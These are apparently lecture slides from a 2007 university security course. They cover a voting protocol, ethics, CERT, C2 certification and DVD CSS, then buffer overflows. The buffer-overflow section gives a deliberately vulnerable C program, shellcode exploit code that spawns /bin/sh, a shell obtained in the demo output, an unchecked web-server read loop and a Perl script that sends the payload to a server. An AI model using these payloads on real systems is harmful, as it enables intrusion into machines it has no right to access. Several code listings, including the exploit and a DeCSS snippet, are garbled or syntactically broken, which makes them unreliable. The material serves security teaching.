CS3235
Ninth set of lecture slides

Hugh Anderson

National University of Singapore
School of Computing

November, 2007
More Quantum mechanics...

Outline

1 Administration
   - More info on...

2 Insecurity
   - Ethics, threats, tension...
   - CERT, SIGINT and then NSA
   - C2 and the rainbow documents
   - DVD security

3 Attacks on computer systems
   - Buffer overflow
Voting protocols

How to vote...
Alice, Bob and Charles (!) vote and then encrypt and sign a series of messages using public-key encryption. For example, if Alice votes $v_A$, then she will broadcast to all other voters the message

$$R_A(R_B(R_C(E_A(E_B(E_C(v_A)))))))$$

where $R_A$ is a random encoding function which adds a random string to a message before encrypting it with $A$’s public key, and $E_A$ is public key encryption with $A$’s public key.

1. Each voter then **signs** the message and **decrypts** one level.
2. At the end of the protocol, each voter has a complete signed audit trail and is ensured of the validity of the vote.
First round...

One round...

<table>
<thead>
<tr>
<th>Who</th>
<th>Receives and removes one level...</th>
<th>and sends on...</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alice</td>
<td>$R_A^1(R_B^1(R_C^1(E_A^1(E_B^1(E_C^1(v_1))))))$</td>
<td>$R_B^1(R_A^1(E_A^1(E_B^1(E_C^1(v_1))))))$</td>
</tr>
<tr>
<td></td>
<td>$R_A^2(R_B^2(R_C^2(E_A^2(E_B^2(E_C^2(v_2))))))$</td>
<td>$R_B^2(R_A^2(E_A^2(E_B^2(E_C^2(v_2))))))$</td>
</tr>
<tr>
<td></td>
<td>$R_A^3(R_B^3(R_C^3(E_A^3(E_B^3(E_C^3(v_3))))))$</td>
<td>$R_B^3(R_A^3(E_A^3(E_B^3(E_C^3(v_3))))))$</td>
</tr>
<tr>
<td>Bob</td>
<td>$R_B^1(R_C^1(E_A^1(E_B^1(E_C^1(v_1))))))$</td>
<td>$R_C^1(E_A^1(E_B^1(E_C^1(v_1))))$</td>
</tr>
<tr>
<td></td>
<td>$R_B^2(R_C^2(E_A^2(E_B^2(E_C^2(v_2))))))$</td>
<td>$R_C^2(E_A^2(E_B^2(E_C^2(v_2))))$</td>
</tr>
<tr>
<td></td>
<td>$R_B^3(R_C^3(E_A^3(E_B^3(E_C^3(v_3))))))$</td>
<td>$R_C^3(E_A^3(E_B^3(E_C^3(v_3))))$</td>
</tr>
<tr>
<td>Charles</td>
<td>$R_C^1(E_A^1(E_B^1(E_C^1(v_1))))$</td>
<td>$E_A^1(E_B^1(E_C^1(v_1)))$</td>
</tr>
<tr>
<td></td>
<td>$R_C^2(E_A^2(E_B^2(E_C^2(v_2))))$</td>
<td>$E_A^2(E_B^2(E_C^2(v_2)))$</td>
</tr>
<tr>
<td></td>
<td>$R_C^3(E_A^3(E_B^3(E_C^3(v_3))))$</td>
<td>$E_A^3(E_B^3(E_C^3(v_3)))$</td>
</tr>
</tbody>
</table>
Voting protocols

Summary of first round...
- In the first round (after 3 transfers) - each voter has **agreed** that their **vote** has been **counted**.
- If not they do not continue and **protocol finishes**.
- To signify agreement, each person appends **digital signatures** to the votes they forward...
second round...

Then actually discover the votes...

<table>
<thead>
<tr>
<th>Who</th>
<th>Receives and removes one level...</th>
<th>and sends on...</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alice:</strong></td>
<td>$E^1_A(E^1_B(E^1_C(v_1)))$ $\rightarrow$ $E^1_B(E^1_C(v_1))$</td>
<td></td>
</tr>
<tr>
<td></td>
<td>$E^2_A(E^2_B(E^2_C(v_2)))$ $\rightarrow$ $E^2_B(E^2_C(v_2))$</td>
<td></td>
</tr>
<tr>
<td></td>
<td>$E^3_A(E^3_B(E^3_C(v_3)))$ $\rightarrow$ $E^3_B(E^3_C(v_3))$</td>
<td></td>
</tr>
<tr>
<td><strong>Bob:</strong></td>
<td>$E^1_B(E^1_C(v_1))$ $\rightarrow$ $E^1_C(v_1)$</td>
<td></td>
</tr>
<tr>
<td></td>
<td>$E^2_B(E^2_C(v_2))$ $\rightarrow$ $E^2_C(v_2)$</td>
<td></td>
</tr>
<tr>
<td></td>
<td>$E^3_B(E^3_C(v_3))$ $\rightarrow$ $E^3_C(v_3)$</td>
<td></td>
</tr>
<tr>
<td><strong>Charles:</strong></td>
<td>$E^1_C(v_1)$ $\rightarrow$ $v_1$</td>
<td></td>
</tr>
<tr>
<td></td>
<td>$E^2_C(v_2)$ $\rightarrow$ $v_2$</td>
<td></td>
</tr>
<tr>
<td></td>
<td>$E^3_C(v_3)$ $\rightarrow$ $v_3$</td>
<td></td>
</tr>
</tbody>
</table>
Discussion

Points about the steps

- Only Alice can remove her level of encryption, but anyone can check that it was done correctly (by re-encrypting).
- In the second round, someone can tamper with the vote, but...
  - at the end each vote can be re-encrypted, and checked against the set of signatures.
  - tamperer will be found.
- Unwieldy
One of those "hmmmmmmm" moments

One of my sons was taught stranger-danger at his school. We were asked to quiz him afterwards, so we asked him if he should accept a lift in a car with a stranger. He immediately replied “No way!”. We then asked: “What if he offered you sweets?”, but he still replied “No way!”. Finally we asked: “Why not?”, to which he replied “Because you might not get any!”
Ethics

Kohlberg’s stages of moral development

Moral development stages:

Stage 1: *Obedience and punishment*

...

Stage 6: *Individual principles of conscience* - an orientation not only toward existing social rules, but also toward the conscience as a directing agent, mutual trust and respect, and principles of moral choice involving logical universalities and consistency. If one acts otherwise, self-condemnation and guilt result.
What I expect from *you*

- It is my expectation, and requirement, that you are able to maturely evaluate rights and wrongs.
- In these sections of the course, we look at systems which demonstrate poor cryptographic techniques, and as a result, can be defeated.
- A more cynical view might be that we are *hacking*

...this is not my intent...
Ethics and computing

No new ethical dilemmas - but computer crimes are so easy!

Software duplication: = theft.

Using information: = insider trading.

E-mail abuse: = abuse.

Network administrator’s dilemma...

- Network administrators often come to learn things about their 'clients'.
- Without asking the client, they should not make use of that information.
- The network administrator’s dilemma: How to control bad-guys without trampling over rights.
Professional codes of ethics

Professional bodies...

- Most professional bodies\(^a\) have formal written codes of ethics
- The computer industry has yet to develop a standard code of conduct
- If computer crime continues to rise, codes may be imposed on it.

\(^a\)For example: Medical boards.
Example from Australian Computing Society

I will serve the interests of my clients and employers, my employees and students, and the community generally, as matters of no less priority than the interests of myself or my colleagues.

... 

Within a general framework of ethical and moral responsibility, codes such as this one can help clarify grey areas of concern.
Insecurity - threats are real

Examples:

- Pentagon machines were repeatedly corrupted by unknown intruders during the Gulf war. The intruders appeared to be doing it as part of a contest.

- German hackers demonstrated on TV a method of transferring money into their own accounts using ActiveX controls downloaded to an unsuspecting person’s machine.
Taxonomy of insecurity?

A taxonomy is an attempt at classification...
Each new attack adds new levels to the structure:

- **physical** insecurity, and
- **password** insecurity

Some of the security of modern systems is provided through cryptographic techniques (particularly password storage), the subject today.
Non-cryptographic cracking

Without looking at the cryptography...

**Misconfiguration:** If excessive permissions exist on certain directories and files, these can lead to gaining higher levels of access. For example, on a UNIX system, if `/dev/kmem` is writable it is possible to rewrite your UID to match root’s.

**Poor SUID:** Sometimes there are scripts (shell or Perl) that perform certain tasks and run as root. If the scripts are writable by you, you can edit it and run it.
Non-cryptographic cracking

Without looking at cryptography...

**Buffer overflow:** Buffer overflows are typically used to spawn root shells from a (server) process running as root.

**Race conditions:** A race condition is when a program creates a short opportunity for attack by opening a small window of vulnerability. For example, a program that alters a sensitive file might use a temporary backup copy of the file during its alteration.
Non-cryptographic cracking

Without looking at cryptography...

Poor temporary_files: Many programs create temporary files while they run. If a program runs as root and is not careful about where it puts its temporary files and what permissions these files have, it might be possible to use links to create root-owned files.

Attacks using these methods can be launched locally on the target machine, or often remotely, by exploiting services with loopholes.
Protection

What can you do?

Can you protect yourself against attacks?

- Hack/crack yourself:
- Be vigilant:
- Reduce reliance:
- Use more secure systems:
- Update systems:

Finally: “*Its not the end of the world!*”
Computer Emergency Response Team

What is CERT?

*The CERT Coordination Center is the organization that grew from the computer emergency response team formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs identified during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community’s awareness of computer security issues, and to conduct research targeted at improving the security of existing systems.*
Why should you know about CERT?
If you are ever involved in a computer security incident it is useful to get in touch with CERT.
- They provide incident reports and advisories, and can liaise with other system administration people if the attack on your system comes from outside your organization.
Here is an excerpt from an incident report:

**Similar Attacks Using Various RPC Services**

**Thursday, July 22, 1999**

**Overview**
We have recently received an increasing number of reports that intruders are using similar methods to compromise systems. We have seen intruders exploit three different RPC service vulnerabilities; however, similar artifacts have been found on compromised systems.
I hesitate to use the word intelligence, but...

- *Signals Intelligence* (SIGINT) broke the Japanese military code and learned of plans to invade Midway Island.
- In 1943 they began the VENONA project to examine encrypted Soviet diplomatic communications.
- The messages were double-encrypted and were extremely difficult to crack.
- Almost all of the US KGB messages in 1944 and 1945 were broken between 1947 and 1952.
NSA - National Security Agency

The major player...

- Successor of SIGINT

The National Security Agency is the USA’s cryptologic organization.

It coordinates, directs, and performs highly specialized activities to protect U.S. information systems and produce foreign intelligence information.

NSA employs the country’s premier codemakers and codebreakers.

It is said to be the largest employer of mathematicians in the United States and perhaps the world.
Rainbow documents

For evaluating security of machines

- The NSA created various documents describing the criteria for evaluating the security behaviour of machines.
- These criteria were published in a series of documents with brightly coloured covers, and hence became known as the *Rainbow* series. (red book, yellow book...).
C2 security

TCSEC

- To provide a standard to manufacturers (for security features related to confidentiality)...
- To provide DoD components with a metric with which to evaluate the degree of trust...
- To provide a basis for specifying security requirements in acquisition specifications.
C2 security example

Extracted from the document

- The TCB\textsuperscript{a} shall require users to identify themselves to it before beginning to perform any other actions that the TCB is expected to mediate.

- Furthermore, the TCB shall use a protected mechanism (e.g., passwords) to authenticate the user’s identity.

\textsuperscript{a}Trusted Computing Base.
Microsoft and C2

How useful is C2?

Windows NT Workstation vs 3.5 with U.S. Service Pack 3 was the first Microsoft product that has completed C2 testing, and is only certified if using the same hardware, and installed software, and does not include any network connection. The NT utility `c2config.exe` sets up an NT system to pass the C2 tests.

*The 1998 attacks on the Pentagon involved theft and modification of data, as well as denial-of-service. The attacked machines were C2-secure Windows NT machines.*
UNIX and C2

How useful is C2?
Many UNIX systems have also got C2 certification, and come configured this way from the manufacturer. There are numerous examples of hacked UNIX systems found on the Internet. In 1996, a site I managed in New Zealand was the target of a malicious attack by intruders from Australia and Belgium.
Given all this, C2 certification is probably not a good guide as to the security of your system.
DVD security

What is the point of DVD regions?

- **Content Scrambling System** - data encryption scheme
- Developed by commercial interests to **stop copying**... but
  - **Easy to copy** a DVD, but CSS prevents decrypting, changing and re-recording.
- Details are trade secret.
- Master set of 400 **keys** is stored **on every DVD**, and the DVD player uses these to generate a key needed to decrypt data from the disc.
DVD security

LINUX and the CSS

- Linux users were excluded from access to CSS licenses because of the open-source nature of Linux.
- In October 1999, hobbyists/hackers in Europe cracked the CSS algorithm.
- DVD industry players have been trying to prevent distribution of any software.
- The source code for decoding DVD is available on a T-shirt.
What do we learn?

The lesson to learn from this is that once-again security-through-obscurity is a very poor strategy.

The source code and detailed descriptions for a CSS descrambler is available at:

http://www-2.cs.cmu.edu/~dst/DeCSS/Gallery/
Description of the key/descrambling process:

First one must have a master key, which is unique to the DVD player manufacturer. It is also known as a player key. The player reads an encrypted disk key from the DVD, and uses its player key to decrypt the disk key. Then the player reads the encrypted title key for the file to be played. (The DVD will likely contain multiple files, typically 4 to 8, each with its own title key.) It uses the decrypted disk key (DK) to decrypt the title key. Finally, the decrypted title key, TK, is used to descramble the actual content.
DVD security

Confusion and diffusion...

```
#define m(i) (x[i]^s[i+84])<<
unsigned char x[5], y, s[2048]; main(n) {for(read(0, x, 5); read(0, s, n=2048);
write(1, s, n)) if(s[y=s[13]%8+20]/16%4==1) {int i=m(1)17^256+m(0)8, k=m(2)
0, j=m(4)17^m(3)9^k *2-k%8^8, a=0, c=26; for(s[y]=16;--c; j*=2)
a=a*2^i&1, i=i/2^j&1<24; for(j=127;++j<n ; c=c>y)c+=y=i^i/8^i>4^i>12, i=i>8^y<17, a^=a>14, y=a^a*8^a<6, a=a>8^y<9, k=s [j], k="7
Wo~`G\_216" [k&7]+2"cr3sfw6v; *k+)/.n." [k>4]*2^k*257/8, s[j]=k^ (k&k *2&34) *6^c+~y; }
```
Buffer overflow

Most well known compromise of computer systems

- One of a general class of problems caused by
  - software that does not check its parameters for extreme values.

- Need to examine the way programs use memory.
  - Presentation based on

http://destroy.net/machines/security/P49-14-Aleph-One
Simple Program

A pretty simple program...

```c
void
main (int argc, char *argv[])
{
    char buffer[512];

    printf ("Argument is %s\n", argv[1]);
    strcpy (buffer, argv[1]);
}
```
Simple Program

When we run it:

```
[hugh@pnp176-44 programs]$ ./vulnerable test
Argument is test
[hugh@pnp176-44 programs]$ ./vulnerable "A Longer Test"
Argument is A Longer Test
[hugh@pnp176-44 programs]$ 
```

but...
Simple program

Normal operation

Computer’s Memory

Buffer (512 bytes)

Arguments
Variables

Stack

Stack grows down...

Return address
Smashing the stack!

Overwrite the end of an array
Administration
Insecurity
Attacks on computer systems

Buffer overflow

Code creates EGG (env-var) with the exploit...

```
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
"\x9b\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xc6\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

unsigned long get_sp (void)
{   
    __asm__ ("movl %esp,%eax");
}

void main (int argc, char *argv[])
{
    char *buff, *ptr;
    long *addr_ptr, addr;
    int i;
    if (argc > 1)
        bsize = atoi (argv[1]);
    if (argc > 2)
        offset = atoi (argv[2]);
    if (!buff = malloc (bsize)) {
        printf ("Can't allocate memory.
        exit (0);
    }
    addr = get_sp () − offset;
    printf ("Using address: 0x%x\n", addr);
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i += 4)
        *(addr_ptr++) = addr;
    for (i = 0; i < bsize / 2; i++)
        buff[i] = NOP;
    ptr = buff + ((bsize / 2) − (strlen (shellcode) / 2));
    for (i = 0; i < strlen (shellcode); i++)
        *(ptr++) = shellcode[i];
    buff[bsize − 1] = '\0';
    memcpy (buff, "EGG=", 4);
    putenv (buff);
    system ("/bin/bash");
}
```
Exploit

Lets try it out...

```
[hugh@pnp176-44 programs]$ ./exploit3 560
Using address: 0xbfffe998
[hugh@pnp176-44 programs]$ ./vulnerable2 $EGG
Argument is ?????????...????????
sh-2.05b$
```

~

We are now within the **vulnerable** program process, but running the **sh** shell program, instead of the vulnerable program.
Using the buffer overflow attack

In what situations can we use it?

- A **server** (say a web server) that expects a query, and returns a response.
- A CGI/ASP or perl **script** inside a web server
- A **SUID root** program on a UNIX system
Example attack - Blaster

Example attack

- Many attacks on Microsoft systems are based on various buffer overflow problems.
- The *Blaster* worm is described in the CERT advisory “CA-2003-20 W32/Blaster worm”:

> The W32/Blaster worm exploits a vulnerability in Microsoft’s DCOM RPC interface as described in VU#568148 and CA-2003-16. Upon successful execution....
Buffer overflow attacks - previously

The approach so far is:

- Found program that had a buffer,...
- that did not check bounds.
- Delivered EGG to it to overflow buffer
- Overwrite stack return address with address of code
- Program then runs YOUR code
Buffer overflow attacks - remote

Consider the following scenario...

Login to machines from here...
(The LT machine)
(hack from here)
Hugh’s PC (hugh-2.ddns) suna
(web server)

Login to machines from here...
(The LT machine)
Web server code...

And in the web server we have this code:

```c
void process(int newsockfd) {
    char line[512];
    ...
    ...NEXT BIT DOESN'T CHECK ARRAY SIZE !!!!
    while (n>0 && c!='\n') {
        n = read (newsockfd, &c, 1);
        ... add to line[idx++]...
    }
    ...
    f = fopen(&line[0],"r");
    ...
    return;
}
```
Web server

The general operation of a web server should be hackable...

- Web server receives file spec (index.html)
- Returns file contents (see demo, IE and telnet)
- Replace file spec with EGG
  - But cannot use IE or telnet to send EGG
  - Use perl program to deliver EGG
A PERL telnet program which will deliver the EGG

```perl
#!/usr/local/bin/perl
use Socket;
use FileHandle;
($server, $port) = @ARGV;
socket (SOCKET, PF_INET, SOCK_STREAM,
       (getprotobynam('tcp'))[2]);
connect (SOCKET, pack('Sna4x8', AF_INET, $port,
       (gethostbyname($server))[4]))
  || die "Can't connect to $server on $port.\n"
SOCKET->autoflush();
$pid = fork;
if ($pid == 0) { print STDOUT while (<SOCKET>); }
else { open (FILE,"EGG");
    $_ = <FILE>;
    print SOCKET "$_";
    print SOCKET while (<STDIN>);
    close SOCKET;
    exit }
```
Woohoo!

Did it work?

?